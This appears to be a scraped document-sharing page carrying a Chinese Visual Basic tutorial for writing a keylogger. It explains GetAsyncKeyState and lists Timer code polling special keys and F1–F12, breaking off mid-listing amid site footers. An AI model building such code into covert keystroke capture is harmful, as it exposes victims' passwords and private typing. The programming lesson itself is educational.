2022年2022年键盘记录器 .pdf
《2022年2022年键盘记录器 .pdf》由会员分享,可在线阅读,更多相关《2022年2022年键盘记录器 .pdf(11页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、前几天写了一篇键盘记录器,好多人反映看不懂,对新人没什么用处,所以且这篇我会写的很详细,再也不像那篇,出了代码什么也没! 这个程序将会详细的讲解如何记载键盘的每一次输入。下面介绍的这个程序主要是利用GetAsyncKeyState函数,使用 GetAsyncKeyState可以获得键盘的动作。GetAsyncKeyState函数根据虚拟键表判断按键的类型。返回值为一个 16 位的二进值数,如果被按下则最高位为1,即返回 -32767。下面是 API 函数及鼠标中左右键在虚拟键表中的定义:Private Declare Function GetAsyncKeyState Lib user32 (
2、ByVal vKey As Long) As Integer 好了,函数就先介绍这么多,下面开始动手实战了first,当然是创建窗口了在时间控件的 Timer 时间中定义检查按键类型,代码如下:Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键If KeyResult = -32767 Then AddKey = ENTER GoTo KeyFound End If KeyResult = GetAsyncKeyState(17) 'Ctrl 键If KeyResult = -32767 Then AddKey = CTRL GoT
3、o KeyFound End If KeyResult = GetAsyncKeyState(8) '退格键If KeyResult = -32767 Then AddKey = BKSPACE GoTo KeyFound End If KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then AddKey = TAB GoTo KeyFound End If KeyResult = GetAsyncKeyState(18) If KeyResult = -32767 Then AddKey = ALT GoTo KeyFou
4、nd 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 1 页,共 11 页 - - - - - - - - - End If KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then AddKey = PAUSE GoTo KeyFound End If KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then AddKey = CAPS GoTo KeyFou
5、nd End If KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = ESC GoTo KeyFound End If KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = PGUP GoTo KeyFound End If KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = PGDN GoTo KeyFound End If KeyRes
6、ult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = END GoTo KeyFound End If KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then AddKey = HOME GoTo KeyFound End If 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 2 页,共 11 页 - - - - - - - - - KeyResul
7、t = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = SYSRQ GoTo KeyFound End If KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then AddKey = INS GoTo KeyFound End If KeyResult = GetAsyncKeyState(46) If KeyResult = -32767 Then AddKey = DEL GoTo KeyFound End If KeyResult = GetAsyncKeyS
8、tate(144) If KeyResult = -32767 Then AddKey = NUM GoTo KeyFound End If KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then AddKey = LEFT GoTo KeyFound End If KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then AddKey = UP GoTo KeyFound End If KeyResult = GetAsyncKeyState(39) If KeyRe
9、sult = -32767 Then AddKey = RIGHT GoTo KeyFound End If KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 3 页,共 11 页 - - - - - - - - - AddKey = DOWN GoTo KeyFound End If KeyResult = GetAsyncKeyState(112) If KeyR
10、esult = -32767 Then AddKey = F1 GoTo KeyFound End If KeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = F2 GoTo KeyFound End If KeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = F3 GoTo KeyFound End If KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 The
11、n AddKey = F4 GoTo KeyFound End If KeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then AddKey = F5 GoTo KeyFound End If KeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then AddKey = F6 GoTo KeyFound End If KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then 名师资料总结 - - -精品资料
12、欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 4 页,共 11 页 - - - - - - - - - AddKey = F7 GoTo KeyFound End If KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then AddKey = F8 GoTo KeyFound End If KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = F9 GoTo Ke
13、yFound End If KeyResult = GetAsyncKeyState(121) If KeyResult = -32767 Then AddKey = F10 GoTo KeyFound End If KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = F11 GoTo KeyFound End If KeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = F12 GoTo KeyFound End If K
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 2022年2022年键盘记录器 2022 键盘 记录器
限制150内